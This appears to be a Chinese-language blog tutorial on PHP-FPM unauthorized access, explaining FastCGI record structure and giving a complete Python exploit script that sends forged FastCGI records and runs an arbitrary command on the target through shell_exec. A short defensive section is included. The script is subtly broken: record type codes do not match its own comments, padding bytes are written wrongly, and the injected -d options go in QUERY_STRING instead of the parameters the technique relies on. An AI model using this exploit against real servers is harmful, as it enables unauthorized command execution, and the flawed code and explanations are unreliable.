PHP-FPM未授权访问漏洞:FastCGI协议在非标准端口下的RCE利用

好的,我们开始。

PHP-FPM 未授权访问漏洞:FastCGI 协议在非标准端口下的 RCE 利用

各位朋友,今天我们来深入探讨一个在安全领域经常被提及,但又容易被忽视的漏洞:PHP-FPM 未授权访问漏洞。我们将重点关注 FastCGI 协议在非标准端口下的 RCE(Remote Code Execution,远程代码执行)利用。

一、理解 PHP-FPM 和 FastCGI 协议

首先,我们需要理解 PHP-FPM(FastCGI Process Manager)和 FastCGI 协议。

  • PHP-FPM: 是 PHP 的一个进程管理器,用于处理来自 Web 服务器(如 Nginx 或 Apache)的 PHP 请求。它比传统的 CGI 模式拥有更高的性能和稳定性。PHP-FPM 维护着一个 worker 进程池,当 Web 服务器接收到对 PHP 文件的请求时,会将请求转发给 PHP-FPM 的 worker 进程处理,然后将结果返回给 Web 服务器,最终返回给客户端。

  • FastCGI: 是一种协议,定义了 Web 服务器和应用程序服务器之间如何通信。在我们的场景中,Web 服务器是 Nginx 或 Apache,应用程序服务器是 PHP-FPM。FastCGI 协议允许 Web 服务器将请求转发给应用程序服务器,并接收处理后的结果。相比于 CGI,FastCGI 具有持久连接和进程池的特性,显著提高了性能。

二、未授权访问漏洞的原理

PHP-FPM 默认监听在一个 TCP 端口(通常是 9000)或一个 Unix socket。如果配置不当,导致外部可以访问到 PHP-FPM 监听的端口,就可能产生未授权访问漏洞。这意味着攻击者可以直接与 PHP-FPM 通信,而无需经过 Web 服务器的验证。

这个漏洞的根本原因在于,PHP-FPM 默认信任来自本地 Web 服务器的请求。如果监听地址设置为 0.0.0.0:9000,或者防火墙配置不当,使得外部网络可以访问 9000 端口,攻击者就可以伪造 FastCGI 请求,欺骗 PHP-FPM 执行任意代码。

三、漏洞利用的条件

要成功利用 PHP-FPM 未授权访问漏洞,需要满足以下条件:

  1. PHP-FPM 监听在可访问的端口: 这是最基本的前提。攻击者需要能够通过网络访问到 PHP-FPM 监听的端口。例如,监听在 0.0.0.0:9000,并且防火墙没有限制外部访问。
  2. 知道 PHP-FPM 的监听地址和端口: 端口扫描可以帮助发现。
  3. 能够构造 FastCGI 请求: 攻击者需要能够构造符合 FastCGI 协议的请求,才能与 PHP-FPM 通信并执行恶意代码。
  4. 知道 Web 目录的绝对路径: 因为需要指定 SCRIPT_FILENAME 参数,才能让 PHP-FPM 执行指定的文件。可以通过信息泄露、错误页面等方式获取。

四、FastCGI 协议的结构

理解 FastCGI 协议对于漏洞利用至关重要。FastCGI 协议基于记录(Record)进行通信。每个 Record 包含头部和内容。

  • Record Header (8 字节):

    字段 字节 描述
    version 1 FastCGI 版本号,通常为 1
    type 1 Record 类型,例如:FCGI_BEGIN_REQUESTFCGI_PARAMSFCGI_STDINFCGI_STDOUTFCGI_END_REQUEST
    requestId 2 请求 ID,用于区分不同的请求
    contentLength 2 内容长度,表示 Record 的内容部分有多少字节
    paddingLength 1 填充长度,为了对齐 Record 的大小,在内容后面填充的字节数
    reserved 1 保留字段,通常为 0
  • Record Content: Record 的内容部分,根据 Record 的类型而有所不同。例如,FCGI_PARAMS Record 的内容是键值对形式的参数。

五、构造 FastCGI 请求

现在,我们来了解如何构造 FastCGI 请求,以便利用 PHP-FPM 未授权访问漏洞执行任意代码。

攻击的核心在于发送一个包含恶意 PHP 代码的 FCGI_PARAMS Record 和一个空的 FCGI_STDIN Record。FCGI_PARAMS Record 中包含 SCRIPT_FILENAME 参数,指定要执行的 PHP 文件路径,以及 QUERY_STRING 参数,用于传递恶意代码。

以下是一个 Python 脚本,用于构造并发送 FastCGI 请求:

import socket
import struct

def build_fcgi_record(record_type, request_id, content):
    """构造 FastCGI Record"""
    content_length = len(content)
    padding_length = 0
    header = struct.pack('>BBHHBB', 1, record_type, request_id, content_length, padding_length, 0)
    return header + content

def build_fcgi_params(request_id, params):
    """构造 FCGI_PARAMS Record 的内容"""
    content = b''
    for name, value in params.items():
        name_len = len(name)
        value_len = len(value)
        if name_len < 256 and value_len < 256:
            content += struct.pack('BB', name_len, value_len)
            content += name.encode() + value.encode()
        elif name_len < 2**31 and value_len < 2**31:
            content += struct.pack('>II', name_len | 0x80000000, value_len | 0x80000000)
            content += name.encode() + value.encode()
        else:
            raise ValueError('Name or value too long')
    return build_fcgi_record(3, request_id, content) # FCGI_PARAMS = 4

def build_fcgi_begin_request(request_id, role=1, flags=0):
    """构造 FCGI_BEGIN_REQUEST Record"""
    content = struct.pack('>HB', role, flags) + b'x00' * 5
    return build_fcgi_record(1, request_id, content)  # FCGI_BEGIN_REQUEST = 1

def build_fcgi_stdin(request_id, content=b''):
    """构造 FCGI_STDIN Record"""
    return build_fcgi_record(5, request_id, content) # FCGI_STDIN = 5

def build_fcgi_end_request(request_id, app_status=0, protocol_status=0):
    """构造 FCGI_END_REQUEST Record"""
    content = struct.pack('>IB', app_status, protocol_status) + b'x00' * 3
    return build_fcgi_record(3, request_id, content) # FCGI_END_REQUEST = 3

def exploit_php_fpm(host, port, web_root, php_file, cmd):
    """利用 PHP-FPM 未授权访问漏洞执行命令"""
    request_id = 1
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    # 1. FCGI_BEGIN_REQUEST
    begin_request = build_fcgi_begin_request(request_id)
    sock.send(begin_request)

    # 2. FCGI_PARAMS
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'GET',
        'SCRIPT_FILENAME': web_root + php_file,
        'SCRIPT_NAME': php_file,
        'QUERY_STRING': '-d allow_url_include=On -d auto_prepend_file=php://input',
        'DOCUMENT_ROOT': web_root
    }
    params_record = build_fcgi_params(request_id, params)
    sock.send(params_record)

     # 空的 FCGI_PARAMS 结束 Record
    empty_params_record = build_fcgi_record(4, request_id, b'') #FCGI_PARAMS_END
    sock.send(empty_params_record)

    # 3. FCGI_STDIN (包含恶意 PHP 代码)
    stdin_content = b'<?php echo shell_exec("' + cmd.encode() + b'"); ?>'
    stdin_record = build_fcgi_stdin(request_id, stdin_content)
    sock.send(stdin_record)

    # 空的 FCGI_STDIN 结束 Record
    empty_stdin_record = build_fcgi_stdin(request_id)
    sock.send(empty_stdin_record)

    # 4. 接收响应
    response = b''
    while True:
        try:
            chunk = sock.recv(1024)
            if not chunk:
                break
            response += chunk
        except ConnectionResetError:
            break

    sock.close()

    # 解析响应,提取 STDOUT
    stdout = b''
    i = 0
    while i < len(response):
        header = struct.unpack('>BBHHBB', response[i:i+8])
        version, record_type, req_id, content_length, padding_length, reserved = header
        content = response[i+8:i+8+content_length]
        if record_type == 6:  # FCGI_STDOUT
            stdout += content
        i += 8 + content_length + padding_length

    return stdout.decode()

# 示例用法
if __name__ == '__main__':
    host = '127.0.0.1'  # PHP-FPM 监听地址
    port = 9000       # PHP-FPM 监听端口
    web_root = '/var/www/html/' # Web 目录的绝对路径
    php_file = 'index.php'   # 任意存在的 PHP 文件,例如 index.php
    cmd = 'id'          # 要执行的命令

    output = exploit_php_fpm(host, port, web_root, php_file, cmd)
    print(output)

代码解释:

  1. build_fcgi_record 函数: 用于构建 FastCGI Record,接收 Record 类型、请求 ID 和内容作为参数。
  2. build_fcgi_params 函数: 用于构建 FCGI_PARAMS Record 的内容,将参数以键值对的形式编码到 Record 中。
  3. build_fcgi_begin_request 函数: 用于构建 FCGI_BEGIN_REQUEST Record, 用于初始化请求。
  4. build_fcgi_stdin 函数: 用于构建 FCGI_STDIN Record,包含要执行的 PHP 代码。这里使用了 allow_url_includeauto_prepend_file 两个 PHP 配置项,允许从输入流中包含 PHP 代码。
  5. exploit_php_fpm 函数: 整个漏洞利用的核心函数。它创建一个 socket 连接到 PHP-FPM,然后按照 FastCGI 协议的顺序发送 Record:
    • FCGI_BEGIN_REQUEST: 开始一个新的请求。
    • FCGI_PARAMS: 设置请求的参数,包括 SCRIPT_FILENAME(指定要执行的 PHP 文件路径)和 QUERY_STRING(设置 PHP 配置项,允许包含输入流中的 PHP 代码)。
    • FCGI_STDIN: 包含要执行的 PHP 代码。
    • 接收 PHP-FPM 的响应,提取 FCGI_STDOUT 中的内容,即命令执行的结果。

六、在非标准端口下的利用

如果 PHP-FPM 监听在非标准端口(例如 9001),只需将 exploit_php_fpm 函数中的 port 参数修改为 9001 即可。

七、漏洞防御

  1. 限制监听地址: 将 PHP-FPM 监听地址设置为 127.0.0.1:9000,或者 Unix socket,避免外部网络直接访问。
  2. 配置防火墙: 使用防火墙(如 iptables 或 firewalld)限制对 PHP-FPM 监听端口的访问,只允许 Web 服务器访问。
  3. 更新 PHP 版本: 及时更新 PHP 版本,修复已知的安全漏洞。
  4. 最小权限原则: 确保 PHP-FPM 运行在最小权限的用户下,避免攻击者利用漏洞获取更高的权限。
  5. 禁用危险的 PHP 函数: 在 php.ini 中禁用 execshell_execsystem 等危险的 PHP 函数。
  6. 使用安全配置: 禁用 allow_url_includeauto_prepend_file 等不安全的 PHP 配置项。
  7. 定期安全审计: 定期进行安全审计,检查服务器配置是否存在安全漏洞。

八、利用工具

除了手动编写脚本外,还可以使用一些现有的工具来利用 PHP-FPM 未授权访问漏洞,例如:

  • fpm-bypass: 一个专门用于检测和利用 PHP-FPM 未授权访问漏洞的工具。

九、案例分析

假设一个场景:某 Web 服务器的 PHP-FPM 监听在 0.0.0.0:9000,并且防火墙没有限制外部访问。攻击者通过端口扫描发现了这个端口,并且知道 Web 目录的绝对路径是 /var/www/html/。攻击者可以使用上述 Python 脚本,将 host 设置为目标服务器的 IP 地址,port 设置为 9000,web_root 设置为 /var/www/html/php_file 设置为 index.phpcmd 设置为 id,即可在目标服务器上执行 id 命令,并获取执行结果。

十、总结

PHP-FPM 未授权访问漏洞是一个高危漏洞,可能导致远程代码执行,甚至完全控制服务器。通过限制监听地址、配置防火墙、更新 PHP 版本、禁用危险函数等措施,可以有效地防御该漏洞。理解 FastCGI 协议是漏洞利用和防御的关键。希望今天的讲解能够帮助大家更好地理解和防范 PHP-FPM 未授权访问漏洞。

漏洞原理和利用方式回顾

PHP-FPM未授权访问漏洞源于配置不当导致外部可以直接访问PHP-FPM监听端口,攻击者可以通过构造FastCGI请求来执行任意代码,防御的关键在于限制监听地址和配置防火墙,以及禁用危险的PHP配置。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注